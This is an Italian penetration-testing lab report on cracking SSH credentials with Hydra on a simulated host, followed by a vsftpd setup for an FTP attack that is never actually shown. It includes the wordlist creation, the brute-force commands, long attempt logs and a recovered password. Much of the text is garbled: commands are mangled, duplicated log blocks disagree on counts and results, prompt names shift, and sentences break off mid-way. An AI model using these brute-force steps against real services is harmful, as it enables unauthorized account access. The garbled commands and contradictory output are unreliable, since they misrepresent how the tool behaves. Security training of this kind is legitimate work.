

PASSWORD CRACKING CON HYDRA

1. Introduzione

Il presente documento espone le attività di penetration testing condotte su una infrastruttura di rete simulata. L'obiettivo dell'analisi è verificare la robustezza delle credenziali di accesso ai servizi SSH e FTP, valutando l'efficacia di tecniche di brute-force mirato e l'ottimizzazione dei dizionari di attacco.

2. Metodologia

L'attività è stata suddivisa in due fasi principali, avvalendosi della suite di strumenti *Kali Linux* e del framework *Hydra*. La metodologia ha previsto la manipolazione di wordlist tramite *SecLists* per ottimizzare i tempi di esecuzione e l'analisi dei log di tentativi di autenticazione.

3. Analisi dei Servizi

3.1 Servizio SSH

L'attacco al servizio SSH è servito come banco di prova iniziale, rivelando criticità nella configurazione di rete.

- **Procedura:** Tentativi iniziali di attacco brute-force che hanno evidenziato errori di connessione e blocchi del servizio dovuti al superamento del limite di tentativi consentiti. Dopo aver riavviato il servizio SSH per ripristinare la stabilità, è stata

```
(kali@kali)-[~]
└─$ sudo service ssh start
(kali@kali)-[~]
└─$ ssh test_user@192.168.10.11
Warning: Permanently added '192.168.10.11' (192.168.10.11) 'can't be established.'
ED25519 key fingerprint is: SHA256:7EsocYdF50lQWt9deHs/CNE2lw2bmwJ8U5ZMeV0Q
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.10.11' (ED25519) to the list of known hosts.
test_user@192.168.10.11's password:
Linux kali 6.19.14-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1-kali1 (2026-05-05) x86_64

The programs included with the Kali GNU/Linux system are free software;
the GNU distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
└─$ exit
logout
Connection to 192.168.10.11 closed.
(kali@kali)-[~]
└─$ sudo apt install seclists
The following packages were automatically installed and are no longer required:
  libatomic1 libbsd0 libbz2-dev libcares2 libcurl4 libedit2 libevent-core-2.1-7 libffi8 libfontconfig1 libfreetype6 libgdbm-compat4 libgnutls30 libhogweed6t64 libidn2-0 libiochan1 libjpeg-turbo8 libjansson4 libk5crypto3 libkeyutils1 libldap-common libldap2 libltdl7 liblua5.4-0 liblzma-dev libncurses6 libnettle11 libonig2 libopenal1 libpaper1 libperl5.38 libpng16-16 libpq-dev libpython3.12-stdlib libreadline8t libsecp256k1 libsigsegv2 libsqlite3-0 libssl3t64 libtasn1-6 libunistring2 libusb-1.0-0 libx11-xcb1 libxcb-render0 libxext6 libxkbcommon0 libxml2 libzstd1 python3-pysmp4
Use 'sudo apt autoremove' to remove them.

Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1031
  Download size: 545 MB
  Space needed: 1,935 MB / 39.3 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.3-0kali1 [545 MB]
Selecting previously unselected package seclists.
(Reading database ... 480959 files and directories currently installed.)
Preparing to unpack ./seclists_2025.3-0kali1_all.deb...
Unpacking seclists (2025.3-0kali1)...
Setting up seclists (2025.3-0kali1)...
Processing triggers for kali-menu (2026.2.6)...
Processing triggers for wordlists (2026.1.2)...
(kali@kali)-[~]
└─$ echo -e "admin!root!ntest_user" > users.txt
(kali@kali)-[~]
└─$ echo -e "123456!qwertry!ntestpass!npassword" > pass.txt
(kali@kali)-[~]
```

- ```
-# hydra -n users.txt --pass.txt 192.168.10.11 -t & ssh vsh
hydra v9.7 c) 2023 by van Hauer/THC © David Maciejak ~ Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, please ** ignore laws and ethics anyway).
```
- ```
hydra (https://github.com/vanhauzer-thc\(thc-hydra\)) starting at 2026-07-17 09:07:14
```
- ```
[DATA] max tasks per 1 server: overall 4 admins, 12 login tries (13/y/p), -3 tries per task
```
- ```
[DATA] attacking ssh/192.168.10.11:22:
```
- ```
ATTENPT]] target 192.168.10.11 login "admin" - pass "123qwe" - 1 of 12 [child 0] (0/0)
ATTENPT]] target 192.168.10.11 login "admin" - pass "qwerty" - 2 of 12 [child 1] (0/0)
ATTENPT]] target 192.168.10.11 login "admin" - pass "testpas" - 3 of 12 [child 2] (0/0)
ATTENPT]] target 192.168.10.11 login "admin" - pass "password" - 4 of 12 [child 3] (0/0)
ATTENPT]] target 192.168.10.11 login "root" - pass "123456" - 5 of 12 [child 0] (0/0)
ATTENPT]] target 192.168.10.11 login "root" - pass "qwerty" - 6 of 12 [child 1] (0/0)
ATTENPT]] target 192.168.10.11 login "root" - pass "testpas" - 7 of 12 [child 2] (0/0)
ATTENPT]] target 192.168.10.11 login "root" - pass "password" - 8 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 9 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 10 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 11 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 12 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 13 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 14 of 12 [child 2] (0/0)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "password" - 15 of 12 [child 2] (0/0)
ATTENPT]] target 192.168.10.11 login "test-admin" - pass "password" - 16 of 12 [child 0] (0/0)
ATTENPT]] target 192.168.10.11 login "test-admin" - pass "qwerty" - 10 of 13 [child 3] (0/1)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "123456" - 10 of 13 [child 0] (0/1)
RE-ATTENPT]] target 192.168.10.11 login "test-user" - pass "qwerty" - 10 of 13 [child 0/2]
ATTENPT]] target 192.168.10.11 login "test-admin" - pass "testpas" - 11 of 15 [child 1] (0/3)
RE-ATTENPT]] target 192.168.10.11 login "test-admin" - pass "testpas" - 11 of 15 [child 1] (0/3)
[ERROR] all children were disabled due too many connection errors
```
- ```
# of 1 target completed, 0 valid password found
```
- ```
[INFO] writing restore file because 2 server scans could not be completed
```
- ```
The session file ./hydra_restore was written. Type "hydra -R" to resume session.
```
- ```
[ERROR] 1 target was disabled because of too many errors
```
- ```
[ERROR] 1 targets did not complete
```
- ```
hydra (https://github.com/vanhauzer-thc\(thc-hydra\)) finished at 2026-07-17 09:07:22
```
- ```
--[tel@kali]-~$
```

```

ATTNMP]] target 192.168.10.11 - login admin - pass 'testpass' - 8 of 12 [child 2] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'password' - 4 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass '123456' - 8 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'qwerty' - 6 of 12 [child 1] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'testpass' - 7 of 12 [child 3] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'password' - 8 of 12 [child 2] (0/0)
ATTNMP]] target 192.168.10.11 - login test_user - pass '123456' - 9 of 13 [child 0] (0/1)
ATTNMP]] target 192.168.10.11 - login test_user - pass 'qwerty' - 10 of 13 [child 3] (0/1)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass '123456' - 10 of 13 [child 0] (0/1)
RE-ATTNMP]] target 192.168.10.11 - login test_user - pass 'qwerty' - 10 of 14 [child 3] (0/2)
ATTNMP]] target 192.168.10.11 - login test_user - pass 'testpass' - 11 of 15 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login test_user - pass 'testpass' - 11 of 15 [child 1] (0/0)
ERROR]] all children were disabled due too many connection errors
# 1 target completed, 8 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
the session file ./hydra_restore was written. type "hydra -R" to resume session.
ERROR]] 1 target was disabled because of too many errors
ERROR]] 1 targets did not complete
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 09:07:22
└─(cat@kali)-[~]
└─$ sudo service ssh restart
└─(cat@kali)-[~]
└─$ hydra -L users.txt -P pass.txt 192.168.10.11 -t 1 ssh-V
hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 09:08:52
WARNING]] Restoring file (you have 10 seconds to abort... (use option '-t' to skip waiting)) from a previous session restore, to prevent overwriting. ./hydra_restore
[DATA] max 1 task per 1 server, overall 3 tasks, 12 login tasks (113 p/c), 15 tries per task
[DATA] attacking ssh://192.168.10.11:22/
ATTNMP]] target 192.168.10.11 - login admin - pass '123456' - 1 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login admin - pass 'qwerty' - 2 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login admin - pass 'testpass' - 3 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login admin - pass 'password' - 4 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass '123456' - 5 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'qwerty' - 6 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'testpass' - 7 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login root - pass 'password' - 8 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login test_user - pass '123456' - 9 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login test_user - pass 'qwerty' - 10 of 12 [child 0] (0/0)
ATTNMP]] target 192.168.10.11 - login test_user - pass 'testpass' - 11 of 12 [child 0] (0/0)
[22[ssh] host: 192.168.10.11 login: test_user password: testpass
# 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 09:09:37
└─(cat@kali)-[~]

```

3.2 Servizio FTP (Configurazione e Attacco Ottimizzato)

In seguito all'analisi SSH, l'attività si è spostata sul servizio FTP, richiedendo una configurazione specifica dell'ambiente.

- **Procedura:** Installazione del servizio **vsftpd** sulla macchina. Successivamente, è stata eseguita l'installazione della suite **Seclists** per ampliare il dataset di password. La fase di attacco ha previsto una validazione preventiva tramite **grep** per confermare la presenza della credenziale target e la generazione di un dizionario mirato di 101 entry tramite **sed**, strutturato per garantire un test realistico ed efficiente.
- **Risultati:** L'attacco ha confermato la vulnerabilità del sistema con l'identificazione della password in tempi rapidi.
- **Inserimento Screen:**

```
kali@kali:~$ sudo apt install vsftpd
The following packages were automatically installed and are no longer required:
  enchant-2  httpd-toolkit  libio-pty-perl  libbdecrypto16  libpostall  libsinut31  libteamctl0  libxring3  openjdk-21-jre-headless  python3-pysmp4
  ferroxuster  libnc194-0  libio-non-perl  libpostal-data  libraw23t64  libsvtavcodec2  libunibreak0  openjdk-21-jre  postgresql-common-dev
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1031
  Download size: 143 kB
  Space needed: 366 kB / 37.3 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.7 [143 kB]
Fetched 143 kB in 1s (204 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database... 466887 files and directories currently installed.)
Preparing to unpack ./vsftpd_3.0.5-0.7_amd64.deb...
Unpacking vsftpd (3.0.5-0.7)...
Setting up vsftpd (3.0.5-0.7)...
Creating group 'ftp' with GID 971.
Creating user 'ftp' (ftp daemon) with UID 971 and GID 971.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
vsftpd.service is a disabled or a static unit, not starting it.
Processing triggers for man-db (2.13.1-1)...
Processing triggers for kali-menu (2026.2.6)...

kali@kali:~$ sudo service vsftpd start
kali@kali:~$
```


brute-force massivo, riducendo drasticamente il carico sui servizi target e garantendo il successo dell'operazione.